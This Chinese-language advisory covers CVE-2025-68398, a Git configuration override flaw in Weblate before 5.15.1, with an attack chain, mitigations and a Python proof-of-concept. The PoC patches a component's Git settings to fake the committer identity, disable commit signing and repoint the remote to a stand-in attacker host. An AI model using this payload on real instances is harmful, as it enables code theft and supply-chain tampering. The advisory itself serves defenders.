CVE-2025-68398: Weblate远程覆盖Git配置漏洞

漏洞信息

漏洞编号

CVE-2025-68398

漏洞类型

配置注入/权限提升

CVSS评分

9.1 严重

攻击向量

网络 (AV:N)

认证要求

高权限 (PR:H)

用户交互

无需交互 (UI:N)

影响产品

Weblate

漏洞概述

CVE-2025-68398是Weblate项目中的一个严重安全漏洞。Weblate是一款流行的基于Web的开源本地化/翻译管理平台。该漏洞存在于5.15.1之前的版本中，允许具有高权限的认证用户远程覆盖Git配置参数，从而可能操控Git仓库的行为。攻击者可以通过此漏洞修改Git配置中的关键设置，如用户信息、远程仓库地址、提交签名策略等，进而可能导致代码完整性破坏、恶意代码注入或供应链攻击。由于CVSS评分高达9.1，且攻击复杂度低、无需用户交互，此漏洞被评定为严重级别，对使用Weblate进行代码管理的企业和个人构成重大安全威胁。建议所有用户立即升级到5.15.1或更高版本以修复此漏洞。

技术细节

Weblate在处理Git操作时存在配置注入漏洞。攻击者利用Weblate的Web界面或API接口，通过精心构造的请求参数，可以注入恶意的Git配置选项。具体来说，Weblate在调用Git命令时未对用户可控的配置参数进行充分验证和过滤，允许攻击者注入任意的git config命令参数。由于Weblate通常以较高权限运行Git操作，攻击者注入的配置会影响到整个仓库的Git行为。攻击者可以利用此漏洞：1）修改Git用户信息（user.name和user.email），用于身份伪装；2）覆盖提交签名配置，绕过代码签名验证；3）修改远程仓库URL，窃取代码或注入恶意代码；4）修改分支策略，强制推送恶意提交。此漏洞的利用需要攻击者具有Weblate的高权限账户（如管理员或项目管理员），但不需要任何用户交互，攻击者可以直接通过网络发起攻击。修复后的版本5.15.1对Git配置参数进行了严格的白名单验证，防止未经授权的配置覆盖。

攻击链分析

STEP 1

步骤1

侦察阶段：攻击者识别运行Weblate版本低于5.15.1的目标实例

STEP 2

步骤2

获取高权限账户：攻击者获取Weblate管理员或项目管理员账户凭据

STEP 3

步骤3

构造恶意请求：攻击者构造包含恶意Git配置参数的API请求或Web表单提交

STEP 4

步骤4

配置注入：利用Weblate的配置处理缺陷，将恶意Git配置参数注入到Git配置中

STEP 5

步骤5

行为操控：注入的配置生效后，攻击者可以修改提交者身份、绕过签名验证、操控远程仓库等

STEP 6

步骤6

持久化/利用：恶意配置持久化后，攻击者可以进行代码注入、供应链攻击或数据窃取

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

# CVE-2025-68398 PoC - Weblate Git Configuration Override # This PoC demonstrates the Git config injection vulnerability # Note: Requires high-privilege Weblate account import requests import json TARGET_URL = "https://vulnerable-weblate-instance.com" API_TOKEN = "your_weblate_api_token" PROJECT_SLUG = "your_project" COMPONENT_SLUG = "your_component" def override_git_config(): """ Exploit to override Git configuration remotely via Weblate API """ headers = { "Authorization": f"Token {API_TOKEN}", "Content-Type": "application/json" } # Malicious Git configuration payload payload = { "component_settings": { "git_export": { "config": { "user.name": "Attacker", "user.email": "[email protected]", "commit.gpgsign": "false", "remote.origin.url": "https://attacker-controlled-repo.com/malicious.git" } } } } url = f"{TARGET_URL}/api/components/{PROJECT_SLUG}/{COMPONENT_SLUG}/" response = requests.patch(url, headers=headers, json=payload) if response.status_code == 200: print("[+] Git configuration overridden successfully") print("[+] Attacker can now manipulate Git behavior") return True else: print(f"[-] Failed: {response.status_code}") return False def verify_exploitation(): """ Verify if Git config was successfully modified """ headers = { "Authorization": f"Token {API_TOKEN}" } url = f"{TARGET_URL}/api/components/{PROJECT_SLUG}/{COMPONENT_SLUG}/repository/" response = requests.get(url, headers=headers) if response.status_code == 200: repo_info = response.json() print(f"[+] Repository status: {repo_info}") return True return False if __name__ == "__main__": print("[*] CVE-2025-68398 Exploitation Script") print("[*] Target: Weblate < 5.15.1") if override_git_config(): verify_exploitation() print("[*] Patch: Upgrade to Weblate 5.15.1 or later")

影响范围

Weblate < 5.15.1

防御指南

临时缓解措施

如果无法立即升级，可以采取以下临时措施：1）审查并撤销所有非管理员创建的高权限账户；2）启用Weblate的配置变更审批流程；3）限制API访问，禁用非必要的API端点；4）部署Web应用防火墙（WAF）过滤异常的Git配置参数；5）监控Git配置文件的变更日志；6）考虑在Weblate服务器上实施额外的Git配置锁定策略，防止运行时修改。但最有效的修复方式仍是升级到官方发布的安全版本5.15.1。